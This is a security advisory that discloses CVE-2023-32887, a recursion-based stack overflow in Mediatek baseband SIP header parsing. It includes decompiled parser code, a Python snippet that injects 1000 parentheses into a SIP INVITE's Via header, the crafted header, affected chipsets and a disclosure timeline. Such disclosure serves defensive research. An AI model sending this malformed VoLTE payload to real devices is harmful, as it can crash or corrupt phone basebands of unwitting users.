An attacker sending a malformed SIP message over VoLTE to a device with a Mediatek baseband can trigger the vulnerability described here.

The impact is unbounded recursion based stack overflow in the baseband, triggered by malformed VoLTE message such as SIP INVITE or MESSAGE request.

The vulnerability described in this advisory affected a wide range of Mediatek devices. The January 2024 issue of the Mediatek Security Bulletin contains this vulnerability as CVE-2023-32887.

Vulnerability Details

When a SIP message is unpacked by sip_msg_unpack, inet_msg_unpack_header is called to parse the various MIME headers. This function inet_msg_mime_skip_comment is reached from inet_msg_mime_skipws (and other inet_msg_skipcfws* functions) and it recursively seeks over the comments from the header in order to remove white-spaces around and comments from the MIME header values.

char * inet_msg_mime_skip_comment(char **str,int param_2)

{
  bool bVar1;
  char *pcVar2;
  char *pcVar3;
  char *str_first_nows;
  char *pos_p;
  byte cchr;
  
  for (
	  str_first_nows = *str + 1;
	  *str_first_nows == ' ';
	  str_first_nows = str_first_nows + 1) {
  }

  pcVar3 = (char *)0x0;
  pos_p = *str + 1;
  // [0] Loop that iterates over each character within the header
  do {
    cchr = *pos_p;
    // [1] If an opening brace is encountered the function is called recursively
    if (cchr == '(') {
      pcVar3 = inet_msg_mime_skip_comment(&pos_p,0);
      if (pcVar3 == (char *)0x0) {
        return (char *)0x0;
      }
      pcVar3 = pos_p + -1;
      pos_p = pcVar3;
    }
    else if (cchr < ')') {
      if (cchr == 0) {
LAB_90a7dee0:
        **str = '\0';
        return (char *)0x0;
      }
      if (cchr != ' ') goto next_char;
    }
    else {
      if (cchr == ')') {
        *str = pos_p + 1;
        if (param_2 == 0) {
          return str_first_nows;
        }
        if (pcVar3 == (char *)0x0) {
          *str_first_nows = '\0';
          return str_first_nows;
        }
        pcVar3[1] = '\0';
        return str_first_nows;
      }
      if (cchr == '\\') {
        pcVar3 = pos_p + 1;
        pcVar2 = pos_p + 1;
        pos_p = pcVar3;
        if (*pcVar2 == '\0') goto LAB_90a7dee0;
      }
      else {
next_char:
        pcVar3 = pos_p;
      }
    }
    bVar1 = pos_p == (char *)0x0;
    pos_p = pos_p + 1;
    if (bVar1) {
      return (char *)0x0;
    }
  } while( true );
}

The vulnerable function iterates over the input string character by character [0] and whenever a MIME open comment tag ( is encountered it recursively calls itself [1]. The vulnerability is the direct result of the lack of bound checks on the recursion count. During each recursive call 0x30 bytes are allocated from the stack where registers containing parameters and the return address are spilled. These registers include pointers to the attacker controlled MIME header value. A message header containing sufficient number of open brackets causes the recursive parser to allocate so many 0x30 byte stack frames that it runs out of its stack region and corrupts data beyond it.

Example Payload

Replace the Via field of a legitimate SIP INVITE as below:

replace_pattern = b"(?<=\nVia: )(?=SIP/2.0)"
payload = b"("*1000 + " "
if re.search(replace_pattern, msg_str):
    msg_str = re.sub(replace_pattern, payload, msg_str)

An example of the modified Via header:

Via: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( SIP/2.0/TCP 172.30.0.21:5100;branch=z9hG4bK...

Affected Devices

MT2735, MT6813, MT6833, MT6833P, MT6835, MT6853, MT6853T, MT6855, MT6873, MT6875, MT6877, MT6877T, MT6878, MT6879, MT6880, MT6883, MT6885, MT6886, MT6889, MT6890, MT6891, MT6893, MT6895, MT6895T, MT6896, MT6897, MT6980, MT6980D, MT6983T, MT6983W, MT6983Z, MT6985, MT6985T, MT6989, MT6990

Timeline

  • 2023.07.28. Bug reported to Mediatek PSIRT
  • 2023.09.14. Mediatek confirms vulnerability
  • 2023.11.06. Mediatek confirms CVE
  • 2024.01.02. Mediatek releases security bulletin
  • 2025.06.26. Vulnerability publicly disclosed at Troopers ‘25
  • 2025.10.01. Advisory release